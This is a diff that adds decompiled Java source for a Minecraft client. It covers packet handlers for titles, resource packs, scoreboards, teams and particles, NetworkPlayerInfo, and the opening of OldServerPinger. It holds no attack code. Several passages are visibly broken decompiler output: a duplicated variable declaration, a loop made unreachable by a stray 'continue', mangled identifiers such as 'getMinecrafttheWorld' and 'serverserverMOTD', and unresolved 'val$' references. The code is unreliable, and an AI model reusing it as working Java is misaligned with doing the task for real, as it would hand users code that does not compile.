+      MetadataCombat var6 = new MetadataCombat(gameController.thePlayer, var3);
+      gameController.getTwitchStream().func_176026_a(var6, 0L - var4, 0L);
+    } else if (field_179776_a == S42PacketCombatEvent.Event.ENTITY_DIED) {
+      Entity var7 = clientWorldController.getEntityByID(field_179774_b);
+      
+      if ((var7 instanceof EntityPlayer)) {
+        MetadataPlayerDeath var5 = new MetadataPlayerDeath((EntityPlayer)var7, var3);
+        var5.func_152807_a(field_179773_e);
+        gameController.getTwitchStream().func_152911_a(var5, 0L);
+      }
+    }
+  }
+  
+  public void func_175101_a(S41PacketServerDifficulty p_175101_1_) {
+    PacketThreadUtil.func_180031_a(p_175101_1_, this, gameController);
+    gameController.theWorld.getWorldInfo().setDifficulty(p_175101_1_.func_179831_b());
+    gameController.theWorld.getWorldInfo().setDifficultyLocked(p_175101_1_.func_179830_a());
+  }
+  
+  public void func_175094_a(S43PacketCamera p_175094_1_) {
+    PacketThreadUtil.func_180031_a(p_175094_1_, this, gameController);
+    Entity var2 = p_175094_1_.func_179780_a(clientWorldController);
+    
+    if (var2 != null) {
+      gameController.func_175607_a(var2);
+    }
+  }
+  
+  public void func_175093_a(S44PacketWorldBorder p_175093_1_) {
+    PacketThreadUtil.func_180031_a(p_175093_1_, this, gameController);
+    p_175093_1_.func_179788_a(clientWorldController.getWorldBorder());
+  }
+  
+  public void func_175099_a(S45PacketTitle p_175099_1_) {
+    PacketThreadUtil.func_180031_a(p_175099_1_, this, gameController);
+    S45PacketTitle.Type var2 = p_175099_1_.func_179807_a();
+    String var3 = null;
+    String var4 = null;
+    String var5 = p_175099_1_.func_179805_b() != null ? p_175099_1_.func_179805_b().getFormattedText() : "";
+    
+    switch (SwitchAction.field_178885_a[var2.ordinal()]) {
+    case 1: 
+      var3 = var5;
+      break;
+    
+    case 2: 
+      var4 = var5;
+      break;
+    
+    case 3: 
+      gameController.ingameGUI.func_175178_a("", "", -1, -1, -1);
+      gameController.ingameGUI.func_175177_a();
+      return;
+    }
+    
+    gameController.ingameGUI.func_175178_a(var3, var4, p_175099_1_.func_179806_c(), 
+      p_175099_1_.func_179804_d(), p_175099_1_.func_179803_e());
+  }
+  
+  public void func_175100_a(S46PacketSetCompressionLevel p_175100_1_) {
+    if (!netManager.isLocalChannel()) {
+      netManager.setCompressionTreshold(p_175100_1_.func_179760_a());
+    }
+  }
+  
+  public void func_175096_a(S47PacketPlayerListHeaderFooter p_175096_1_) {
+    gameController.ingameGUI.getTabList().setHeader(
+      p_175096_1_.func_179700_a().getFormattedText().length() == 0 ? null : p_175096_1_.func_179700_a());
+    gameController.ingameGUI.getTabList().setFooter(
+      p_175096_1_.func_179701_b().getFormattedText().length() == 0 ? null : p_175096_1_.func_179701_b());
+  }
+  
+  public void handleRemoveEntityEffect(S1EPacketRemoveEntityEffect packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_149076_c());
+    
+    if ((var2 instanceof EntityLivingBase)) {
+      ((EntityLivingBase)var2).removePotionEffectClient(packetIn.func_149075_d());
+    }
+  }
+  
+  public void handlePlayerListItem(S38PacketPlayerListItem packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Iterator var2 = packetIn.func_179767_a().iterator();
+    
+    while (var2.hasNext()) {
+      S38PacketPlayerListItem.AddPlayerData var3 = (S38PacketPlayerListItem.AddPlayerData)var2.next();
+      
+      if (packetIn.func_179768_b() == S38PacketPlayerListItem.Action.REMOVE_PLAYER) {
+        playerInfoMap.remove(var3.func_179962_a().getId());
+      } else {
+        NetworkPlayerInfo var4 = (NetworkPlayerInfo)playerInfoMap.get(var3.func_179962_a().getId());
+        
+        if (packetIn.func_179768_b() == S38PacketPlayerListItem.Action.ADD_PLAYER) {
+          var4 = new NetworkPlayerInfo(var3);
+          playerInfoMap.put(var4.func_178845_a().getId(), var4);
+        }
+        
+        if (var4 != null) {
+          switch (SwitchAction.field_178884_b[packetIn.func_179768_b().ordinal()]) {
+          case 1: 
+            var4.func_178839_a(var3.func_179960_c());
+            var4.func_178838_a(var3.func_179963_b());
+            break;
+          
+          case 2: 
+            var4.func_178839_a(var3.func_179960_c());
+            break;
+          
+          case 3: 
+            var4.func_178838_a(var3.func_179963_b());
+            break;
+          
+          case 4: 
+            var4.func_178859_a(var3.func_179961_d());
+          }
+        }
+      }
+    }
+  }
+  
+  public void handleKeepAlive(S00PacketKeepAlive packetIn) {
+    addToSendQueue(new net.minecraft.network.play.client.C00PacketKeepAlive(packetIn.func_149134_c()));
+  }
+  
+  public void handlePlayerAbilities(S39PacketPlayerAbilities packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    EntityPlayerSP var2 = gameController.thePlayer;
+    capabilities.isFlying = packetIn.isFlying();
+    capabilities.isCreativeMode = packetIn.isCreativeMode();
+    capabilities.disableDamage = packetIn.isInvulnerable();
+    capabilities.allowFlying = packetIn.isAllowFlying();
+    capabilities.setFlySpeed(packetIn.getFlySpeed());
+    capabilities.setPlayerWalkSpeed(packetIn.getWalkSpeed());
+  }
+  
+
+
+  public void handleTabComplete(S3APacketTabComplete packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    String[] var2 = packetIn.func_149630_c();
+    
+    if ((gameController.currentScreen instanceof GuiChat)) {
+      GuiChat var3 = (GuiChat)gameController.currentScreen;
+      var3.onAutocompleteResponse(var2);
+    }
+  }
+  
+  public void handleSoundEffect(S29PacketSoundEffect packetIn) {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    gameController.theWorld.playSound(packetIn.func_149207_d(), packetIn.func_149211_e(), 
+      packetIn.func_149210_f(), packetIn.func_149212_c(), packetIn.func_149208_g(), packetIn.func_149209_h(), 
+      false);
+  }
+  
+  public void func_175095_a(S48PacketResourcePackSend p_175095_1_) {
+    final String var2 = p_175095_1_.func_179783_a();
+    final String var3 = p_175095_1_.func_179784_b();
+    
+    if (var2.startsWith("level://")) {
+      String var4 = var2.substring("level://".length());
+      File var5 = new File(gameController.mcDataDir, "saves");
+      File var6 = new File(var5, var4);
+      
+      if (var6.isFile())
+      {
+        netManager.sendPacket(new C19PacketResourcePackStatus(var3, C19PacketResourcePackStatus.Action.ACCEPTED));
+        Futures.addCallback(gameController.getResourcePackRepository().func_177319_a(var6), 
+          new FutureCallback() {
+            private static final String __OBFID = "CL_00000879";
+            
+            public void onSuccess(Object p_onSuccess_1_) {
+              netManager.sendPacket(new C19PacketResourcePackStatus(var3, 
+                C19PacketResourcePackStatus.Action.SUCCESSFULLY_LOADED));
+            }
+            
+            public void onFailure(Throwable p_onFailure_1_) {
+              netManager.sendPacket(new C19PacketResourcePackStatus(var3, 
+                C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));
+            }
+          });
+      } else {
+        netManager.sendPacket(
+          new C19PacketResourcePackStatus(var3, C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));
+      }
+    }
+    else if ((gameController.getCurrentServerData() != null) && 
+      (gameController.getCurrentServerData().getResourceMode() == ServerData.ServerResourceMode.ENABLED))
+    {
+      netManager.sendPacket(new C19PacketResourcePackStatus(var3, C19PacketResourcePackStatus.Action.ACCEPTED));
+      Futures.addCallback(gameController.getResourcePackRepository().func_180601_a(var2, var3), 
+        new FutureCallback() {
+          private static final String __OBFID = "CL_00002624";
+          
+          public void onSuccess(Object p_onSuccess_1_) {
+            netManager.sendPacket(new C19PacketResourcePackStatus(var3, 
+              C19PacketResourcePackStatus.Action.SUCCESSFULLY_LOADED));
+          }
+          
+          public void onFailure(Throwable p_onFailure_1_) {
+            netManager.sendPacket(new C19PacketResourcePackStatus(var3, 
+              C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));
+          }
+        });
+    } else if ((gameController.getCurrentServerData() != null) && 
+      (gameController.getCurrentServerData().getResourceMode() != ServerData.ServerResourceMode.PROMPT))
+    {
+      netManager.sendPacket(new C19PacketResourcePackStatus(var3, C19PacketResourcePackStatus.Action.DECLINED));
+    } else {
+      gameController.addScheduledTask(new Runnable() {
+        private static final String __OBFID = "CL_00002623";
+        
+        public void run() {
+          gameController.displayGuiScreen(new GuiYesNo(new net.minecraft.client.gui.GuiYesNoCallback() {
+            private static final String __OBFID = "CL_00002622";
+            
+            public void confirmClicked(boolean result, int id) {
+              gameController = Minecraft.getMinecraft();
+              
+              if (result) {
+                if (gameController.getCurrentServerData() != null)
+                {
+                  gameController.getCurrentServerData().setResourceMode(ServerData.ServerResourceMode.ENABLED);
+                }
+                
+                netManager.sendPacket(new C19PacketResourcePackStatus(
+                  val$var3, C19PacketResourcePackStatus.Action.ACCEPTED));
+                Futures.addCallback(gameController
+                  .getResourcePackRepository().func_180601_a(val$var2, val$var3), 
+                  new FutureCallback()
+                  {
+                    private static final String __OBFID = "CL_00002621";
+                    
+                    public void onSuccess(Object p_onSuccess_1_) {
+                      netManager.sendPacket(new C19PacketResourcePackStatus(val$var3, 
+                        C19PacketResourcePackStatus.Action.SUCCESSFULLY_LOADED));
+                    }
+                    
+                    public void onFailure(Throwable p_onFailure_1_)
+                    {
+                      netManager.sendPacket(new C19PacketResourcePackStatus(val$var3, 
+                        C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));
+                    }
+                  });
+              } else {
+                if (gameController.getCurrentServerData() != null)
+                {
+                  gameController.getCurrentServerData().setResourceMode(ServerData.ServerResourceMode.DISABLED);
+                }
+                
+                netManager.sendPacket(new C19PacketResourcePackStatus(
+                  val$var3, C19PacketResourcePackStatus.Action.DECLINED));
+              }
+              
+
+              net.minecraft.client.multiplayer.ServerList.func_147414_b(gameController.getCurrentServerData());
+              gameController.displayGuiScreen(null);
+            }
+          }, I18n.format("multiplayer.texturePrompt.line1", new Object[0]), 
+            I18n.format("multiplayer.texturePrompt.line2", new Object[0]), 0));
+        }
+      });
+    }
+  }
+  
+  public void func_175097_a(S49PacketUpdateEntityNBT p_175097_1_)
+  {
+    PacketThreadUtil.func_180031_a(p_175097_1_, this, gameController);
+    Entity var2 = p_175097_1_.func_179764_a(clientWorldController);
+    
+    if (var2 != null) {
+      var2.func_174834_g(p_175097_1_.func_179763_a());
+    }
+  }
+  
+
+
+
+
+
+
+  public void handleCustomPayload(S3FPacketCustomPayload packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    if ("MC|TrList".equals(packetIn.getChannelName())) {
+      PacketBuffer var2 = packetIn.getBufferData();
+      label130:
+      try {
+        int var3 = var2.readInt();
+        GuiScreen var4 = gameController.currentScreen;
+        
+        if ((var4 != null) && ((var4 instanceof GuiMerchant))) {
+          if (var3 != gameController.thePlayer.openContainer.windowId) break label130;
+          IMerchant var5 = ((GuiMerchant)var4).getMerchant();
+          MerchantRecipeList var6 = MerchantRecipeList.func_151390_b(var2);
+          var5.setRecipes(var6);
+        }
+      } catch (IOException var10) {
+        logger.error("Couldn't load trade info", var10);
+      } finally {
+        var2.release();
+      }
+    } else if ("MC|Brand".equals(packetIn.getChannelName())) {
+      gameController.thePlayer.func_175158_f(packetIn.getBufferData().readStringFromBuffer(32767));
+    } else if ("MC|BOpen".equals(packetIn.getChannelName())) {
+      ItemStack var12 = gameController.thePlayer.getCurrentEquippedItem();
+      
+      if ((var12 != null) && (var12.getItem() == net.minecraft.init.Items.written_book)) {
+        gameController.displayGuiScreen(new net.minecraft.client.gui.GuiScreenBook(gameController.thePlayer, var12, false));
+      }
+    }
+  }
+  
+
+
+
+  public void handleScoreboardObjective(S3BPacketScoreboardObjective packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Scoreboard var2 = clientWorldController.getScoreboard();
+    
+
+    if (packetIn.func_149338_e() == 0) {
+      ScoreObjective var3 = var2.addScoreObjective(packetIn.func_149339_c(), net.minecraft.scoreboard.IScoreObjectiveCriteria.DUMMY);
+      var3.setDisplayName(packetIn.func_149337_d());
+      var3.func_178767_a(packetIn.func_179817_d());
+    } else {
+      ScoreObjective var3 = var2.getObjective(packetIn.func_149339_c());
+      
+      if (packetIn.func_149338_e() == 1) {
+        var2.func_96519_k(var3);
+      } else if (packetIn.func_149338_e() == 2) {
+        var3.setDisplayName(packetIn.func_149337_d());
+        var3.func_178767_a(packetIn.func_179817_d());
+      }
+    }
+  }
+  
+
+
+
+  public void handleUpdateScore(S3CPacketUpdateScore packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Scoreboard var2 = clientWorldController.getScoreboard();
+    ScoreObjective var3 = var2.getObjective(packetIn.func_149321_d());
+    
+    if (packetIn.func_180751_d() == S3CPacketUpdateScore.Action.CHANGE) {
+      Score var4 = var2.getValueFromObjective(packetIn.func_149324_c(), var3);
+      var4.setScorePoints(packetIn.func_149323_e());
+    } else if (packetIn.func_180751_d() == S3CPacketUpdateScore.Action.REMOVE) {
+      if (net.minecraft.util.StringUtils.isNullOrEmpty(packetIn.func_149321_d())) {
+        var2.func_178822_d(packetIn.func_149324_c(), null);
+      } else if (var3 != null) {
+        var2.func_178822_d(packetIn.func_149324_c(), var3);
+      }
+    }
+  }
+  
+
+
+
+  public void handleDisplayScoreboard(S3DPacketDisplayScoreboard packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Scoreboard var2 = clientWorldController.getScoreboard();
+    
+    if (packetIn.func_149370_d().length() == 0) {
+      var2.setObjectiveInDisplaySlot(packetIn.func_149371_c(), null);
+    } else {
+      ScoreObjective var3 = var2.getObjective(packetIn.func_149370_d());
+      var2.setObjectiveInDisplaySlot(packetIn.func_149371_c(), var3);
+    }
+  }
+  
+
+
+
+
+  public void handleTeams(S3EPacketTeams packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Scoreboard var2 = clientWorldController.getScoreboard();
+    ScorePlayerTeam var3;
+    ScorePlayerTeam var3;
+    if (packetIn.func_149307_h() == 0) {
+      var3 = var2.createTeam(packetIn.func_149312_c());
+    } else {
+      var3 = var2.getTeam(packetIn.func_149312_c());
+    }
+    
+    if ((packetIn.func_149307_h() == 0) || (packetIn.func_149307_h() == 2)) {
+      var3.setTeamName(packetIn.func_149306_d());
+      var3.setNamePrefix(packetIn.func_149311_e());
+      var3.setNameSuffix(packetIn.func_149309_f());
+      var3.func_178774_a(EnumChatFormatting.func_175744_a(packetIn.func_179813_h()));
+      var3.func_98298_a(packetIn.func_149308_i());
+      Team.EnumVisible var4 = Team.EnumVisible.func_178824_a(packetIn.func_179814_i());
+      
+      if (var4 != null) {
+        var3.func_178772_a(var4);
+      }
+    }
+    
+
+
+
+    if ((packetIn.func_149307_h() == 0) || (packetIn.func_149307_h() == 3)) {
+      Iterator var6 = packetIn.func_149310_g().iterator();
+      
+      while (var6.hasNext()) {
+        String var5 = (String)var6.next();
+        var2.func_151392_a(var5, packetIn.func_149312_c());
+      }
+    }
+    
+    if (packetIn.func_149307_h() == 4) {
+      Iterator var6 = packetIn.func_149310_g().iterator();
+      
+      while (var6.hasNext()) {
+        String var5 = (String)var6.next();
+        var2.removePlayerFromTeam(var5, var3);
+      }
+    }
+    
+    if (packetIn.func_149307_h() == 1) {
+      var2.removeTeam(var3);
+    }
+  }
+  
+
+
+
+  public void handleParticles(S2APacketParticles packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    
+    if (packetIn.func_149222_k() == 0) {
+      double var2 = packetIn.func_149227_j() * packetIn.func_149221_g();
+      double var4 = packetIn.func_149227_j() * packetIn.func_149224_h();
+      double var6 = packetIn.func_149227_j() * packetIn.func_149223_i();
+      try
+      {
+        clientWorldController.spawnParticle(packetIn.func_179749_a(), packetIn.func_179750_b(), 
+          packetIn.func_149220_d(), packetIn.func_149226_e(), packetIn.func_149225_f(), var2, var4, var6, 
+          packetIn.func_179748_k());
+      } catch (Throwable var17) {
+        logger.warn("Could not spawn particle effect " + packetIn.func_179749_a());
+      }
+    } else {
+      for (int var18 = 0; var18 < packetIn.func_149222_k(); var18++) {
+        double var3 = avRandomizer.nextGaussian() * packetIn.func_149221_g();
+        double var5 = avRandomizer.nextGaussian() * packetIn.func_149224_h();
+        double var7 = avRandomizer.nextGaussian() * packetIn.func_149223_i();
+        double var9 = avRandomizer.nextGaussian() * packetIn.func_149227_j();
+        double var11 = avRandomizer.nextGaussian() * packetIn.func_149227_j();
+        double var13 = avRandomizer.nextGaussian() * packetIn.func_149227_j();
+        try
+        {
+          clientWorldController.spawnParticle(packetIn.func_179749_a(), packetIn.func_179750_b(), 
+            packetIn.func_149220_d() + var3, packetIn.func_149226_e() + var5, 
+            packetIn.func_149225_f() + var7, var9, var11, var13, packetIn.func_179748_k());
+        } catch (Throwable var16) {
+          logger.warn("Could not spawn particle effect " + packetIn.func_179749_a());
+          return;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+  public void handleEntityProperties(S20PacketEntityProperties packetIn)
+  {
+    PacketThreadUtil.func_180031_a(packetIn, this, gameController);
+    Entity var2 = clientWorldController.getEntityByID(packetIn.func_149442_c());
+    
+    if (var2 != null) {
+      if (!(var2 instanceof EntityLivingBase)) {
+        throw new IllegalStateException(
+          "Server tried to update attributes of a non-living entity (actually: " + var2 + ")");
+      }
+      BaseAttributeMap var3 = ((EntityLivingBase)var2).getAttributeMap();
+      Iterator var4 = packetIn.func_149441_d().iterator();
+      Iterator var7;
+      for (; var4.hasNext(); 
+          
+
+
+
+
+
+
+
+
+
+
+
+          var7.hasNext())
+      {
+        S20PacketEntityProperties.Snapshot var5 = (S20PacketEntityProperties.Snapshot)var4.next();
+        IAttributeInstance var6 = var3.getAttributeInstanceByName(var5.func_151409_a());
+        
+        if (var6 == null) {
+          var6 = var3.registerAttribute(new net.minecraft.entity.ai.attributes.RangedAttribute(null, var5.func_151409_a(), 0.0D, 
+            2.2250738585072014E-308D, Double.MAX_VALUE));
+        }
+        
+        var6.setBaseValue(var5.func_151410_b());
+        var6.removeAllModifiers();
+        var7 = var5.func_151408_c().iterator();
+        
+        continue;
+        AttributeModifier var8 = (AttributeModifier)var7.next();
+        var6.applyModifier(var8);
+      }
+    }
+  }
+  
+
+
+
+
+
+  public NetworkManager getNetworkManager()
+  {
+    return netManager;
+  }
+  
+  public Collection func_175106_d() {
+    return playerInfoMap.values();
+  }
+  
+  public NetworkPlayerInfo func_175102_a(UUID p_175102_1_) {
+    return (NetworkPlayerInfo)playerInfoMap.get(p_175102_1_);
+  }
+  
+  public NetworkPlayerInfo func_175104_a(String p_175104_1_) {
+    Iterator var2 = playerInfoMap.values().iterator();
+    NetworkPlayerInfo var3;
+    do
+    {
+      if (!var2.hasNext()) {
+        return null;
+      }
+      
+      var3 = (NetworkPlayerInfo)var2.next();
+    } while (!var3.func_178845_a().getName().equals(p_175104_1_));
+    
+    return var3;
+  }
+  
+  public GameProfile func_175105_e() {
+    return field_175107_d;
+  }
+  
+  static final class SwitchAction
+  {
+    static final int[] field_178885_a;
+    static final int[] field_178884_b = new int[S38PacketPlayerListItem.Action.values().length];
+    private static final String __OBFID = "CL_00002620";
+    
+    static {
+      try {
+        field_178884_b[S38PacketPlayerListItem.Action.ADD_PLAYER.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+      try
+      {
+        field_178884_b[S38PacketPlayerListItem.Action.UPDATE_GAME_MODE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+      try
+      {
+        field_178884_b[S38PacketPlayerListItem.Action.UPDATE_LATENCY.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+      try
+      {
+        field_178884_b[S38PacketPlayerListItem.Action.UPDATE_DISPLAY_NAME.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+      field_178885_a = new int[S45PacketTitle.Type.values().length];
+      try
+      {
+        field_178885_a[S45PacketTitle.Type.TITLE.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+      
+      try
+      {
+        field_178885_a[S45PacketTitle.Type.SUBTITLE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError6) {}
+      
+      try
+      {
+        field_178885_a[S45PacketTitle.Type.RESET.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError7) {}
+    }
+    
+    SwitchAction() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/network/NetworkPlayerInfo.java b/src/minecraft/net/minecraft/client/network/NetworkPlayerInfo.java
new file mode 100644
index 0000000..fcd0250
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/network/NetworkPlayerInfo.java
@@ -0,0 +1,226 @@
+package net.minecraft.client.network;
+
+import com.google.common.base.Objects;
+import com.mojang.authlib.GameProfile;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture;
+import com.mojang.authlib.minecraft.MinecraftProfileTexture.Type;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.WorldClient;
+import net.minecraft.client.resources.DefaultPlayerSkin;
+import net.minecraft.client.resources.SkinManager.SkinAvailableCallback;
+import net.minecraft.network.play.server.S38PacketPlayerListItem.AddPlayerData;
+import net.minecraft.scoreboard.ScorePlayerTeam;
+import net.minecraft.scoreboard.Scoreboard;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.world.WorldSettings.GameType;
+
+public class NetworkPlayerInfo
+{
+  private final GameProfile field_178867_a;
+  private WorldSettings.GameType gameType;
+  private int responseTime;
+  private boolean field_178864_d = false;
+  private ResourceLocation field_178865_e;
+  private ResourceLocation field_178862_f;
+  private String field_178863_g;
+  private IChatComponent field_178872_h;
+  private int field_178873_i = 0;
+  private int field_178870_j = 0;
+  private long field_178871_k = 0L;
+  private long field_178868_l = 0L;
+  private long field_178869_m = 0L;
+  private static final String __OBFID = "CL_00000888";
+  
+  public NetworkPlayerInfo(GameProfile p_i46294_1_)
+  {
+    field_178867_a = p_i46294_1_;
+  }
+  
+  public NetworkPlayerInfo(S38PacketPlayerListItem.AddPlayerData p_i46295_1_)
+  {
+    field_178867_a = p_i46295_1_.func_179962_a();
+    gameType = p_i46295_1_.func_179960_c();
+    responseTime = p_i46295_1_.func_179963_b();
+  }
+  
+  public GameProfile func_178845_a()
+  {
+    return field_178867_a;
+  }
+  
+  public WorldSettings.GameType getGameType()
+  {
+    return gameType;
+  }
+  
+  public int getResponseTime()
+  {
+    return responseTime;
+  }
+  
+  protected void func_178839_a(WorldSettings.GameType p_178839_1_)
+  {
+    gameType = p_178839_1_;
+  }
+  
+  protected void func_178838_a(int p_178838_1_)
+  {
+    responseTime = p_178838_1_;
+  }
+  
+  public boolean func_178856_e()
+  {
+    return field_178865_e != null;
+  }
+  
+  public String func_178851_f()
+  {
+    return field_178863_g == null ? DefaultPlayerSkin.func_177332_b(field_178867_a.getId()) : field_178863_g;
+  }
+  
+  public ResourceLocation func_178837_g()
+  {
+    if (field_178865_e == null)
+    {
+      func_178841_j();
+    }
+    
+    return (ResourceLocation)Objects.firstNonNull(field_178865_e, DefaultPlayerSkin.func_177334_a(field_178867_a.getId()));
+  }
+  
+  public ResourceLocation func_178861_h()
+  {
+    if (field_178862_f == null)
+    {
+      func_178841_j();
+    }
+    
+    return field_178862_f;
+  }
+  
+  public ScorePlayerTeam func_178850_i()
+  {
+    return getMinecrafttheWorld.getScoreboard().getPlayersTeam(func_178845_a().getName());
+  }
+  
+  protected void func_178841_j()
+  {
+    synchronized (this)
+    {
+      if (!field_178864_d)
+      {
+        field_178864_d = true;
+        Minecraft.getMinecraft().getSkinManager().func_152790_a(field_178867_a, new SkinManager.SkinAvailableCallback()
+        {
+          private static final String __OBFID = "CL_00002619";
+          
+          public void func_180521_a(MinecraftProfileTexture.Type p_180521_1_, ResourceLocation p_180521_2_, MinecraftProfileTexture p_180521_3_) {
+            switch (NetworkPlayerInfo.SwitchType.field_178875_a[p_180521_1_.ordinal()])
+            {
+            case 1: 
+              field_178865_e = p_180521_2_;
+              field_178863_g = p_180521_3_.getMetadata("model");
+              
+              if (field_178863_g == null)
+              {
+                field_178863_g = "default";
+              }
+              
+              break;
+            
+            case 2: 
+              field_178862_f = p_180521_2_;
+            }
+          }
+        }, true);
+      }
+    }
+  }
+  
+  public void func_178859_a(IChatComponent p_178859_1_)
+  {
+    field_178872_h = p_178859_1_;
+  }
+  
+  public IChatComponent func_178854_k()
+  {
+    return field_178872_h;
+  }
+  
+  public int func_178835_l()
+  {
+    return field_178873_i;
+  }
+  
+  public void func_178836_b(int p_178836_1_)
+  {
+    field_178873_i = p_178836_1_;
+  }
+  
+  public int func_178860_m()
+  {
+    return field_178870_j;
+  }
+  
+  public void func_178857_c(int p_178857_1_)
+  {
+    field_178870_j = p_178857_1_;
+  }
+  
+  public long func_178847_n()
+  {
+    return field_178871_k;
+  }
+  
+  public void func_178846_a(long p_178846_1_)
+  {
+    field_178871_k = p_178846_1_;
+  }
+  
+  public long func_178858_o()
+  {
+    return field_178868_l;
+  }
+  
+  public void func_178844_b(long p_178844_1_)
+  {
+    field_178868_l = p_178844_1_;
+  }
+  
+  public long func_178855_p()
+  {
+    return field_178869_m;
+  }
+  
+  public void func_178843_c(long p_178843_1_)
+  {
+    field_178869_m = p_178843_1_;
+  }
+  
+  static final class SwitchType
+  {
+    static final int[] field_178875_a = new int[MinecraftProfileTexture.Type.values().length];
+    private static final String __OBFID = "CL_00002618";
+    
+    static
+    {
+      try
+      {
+        field_178875_a[MinecraftProfileTexture.Type.SKIN.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_178875_a[MinecraftProfileTexture.Type.CAPE.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+    }
+    
+    SwitchType() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/network/OldServerPinger.java b/src/minecraft/net/minecraft/client/network/OldServerPinger.java
new file mode 100644
index 0000000..3dd5d3b
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/network/OldServerPinger.java
@@ -0,0 +1,447 @@
+package net.minecraft.client.network;
+
+import com.google.common.base.Splitter;
+import com.google.common.collect.Iterables;
+import com.mojang.authlib.GameProfile;
+import io.netty.bootstrap.Bootstrap;
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelFutureListener;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInitializer;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.EventLoopGroup;
+import io.netty.channel.SimpleChannelInboundHandler;
+import io.netty.channel.socket.nio.NioSocketChannel;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.multiplayer.ServerAddress;
+import net.minecraft.client.multiplayer.ServerData;
+import net.minecraft.network.EnumConnectionState;
+import net.minecraft.network.NetworkManager;
+import net.minecraft.network.ServerStatusResponse;
+import net.minecraft.network.ServerStatusResponse.MinecraftProtocolVersionIdentifier;
+import net.minecraft.network.ServerStatusResponse.PlayerCountData;
+import net.minecraft.network.status.INetHandlerStatusClient;
+import net.minecraft.network.status.client.C01PacketPing;
+import net.minecraft.network.status.server.S00PacketServerInfo;
+import net.minecraft.network.status.server.S01PacketPong;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.EnumChatFormatting;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class OldServerPinger
+{
+  private static final Splitter PING_RESPONSE_SPLITTER = Splitter.on('\000').limit(6);
+  private static final Logger logger = LogManager.getLogger();
+  
+
+  private final List pingDestinations = Collections.synchronizedList(com.google.common.collect.Lists.newArrayList());
+  private static final String __OBFID = "CL_00000892";
+  
+  public OldServerPinger() {}
+  
+  public void ping(final ServerData server) throws UnknownHostException { ServerAddress var2 = ServerAddress.func_78860_a(serverIP);
+    final NetworkManager var3 = NetworkManager.provideLanClient(InetAddress.getByName(var2.getIP()), var2.getPort());
+    pingDestinations.add(var3);
+    serverMOTD = "Pinging...";
+    pingToServer = -1L;
+    playerList = null;
+    var3.setNetHandler(new INetHandlerStatusClient()
+    {
+      private boolean field_147403_d = false;
+      private long field_175092_e = 0L;
+      private static final String __OBFID = "CL_00000893";
+      
+      public void handleServerInfo(S00PacketServerInfo packetIn) {
+        ServerStatusResponse var2 = packetIn.func_149294_c();
+        
+        if (var2.getServerDescription() != null)
+        {
+          serverserverMOTD = var2.getServerDescription().getFormattedText();
+        }
+        else
+        {
+          serverserverMOTD = "";
+        }
+        
+        if (var2.getProtocolVersionInfo() != null)
+        {
+          servergameVersion = var2.getProtocolVersionInfo().getName();
+          serverversion = var2.getProtocolVersionInfo().getProtocol();
+        }
+        else
+        {
+          servergameVersion = "Old";
+          serverversion = 0;
+        }
+        
+        if (var2.getPlayerCountData() != null)
+        {
+          serverpopulationInfo = (EnumChatFormatting.GRAY + var2.getPlayerCountData().getOnlinePlayerCount() + EnumChatFormatting.DARK_GRAY + "/" + EnumChatFormatting.GRAY + var2.getPlayerCountData().getMaxPlayers());
+          
+          if (org.apache.commons.lang3.ArrayUtils.isNotEmpty(var2.getPlayerCountData().getPlayers()))
+          {
+            StringBuilder var3x = new StringBuilder();
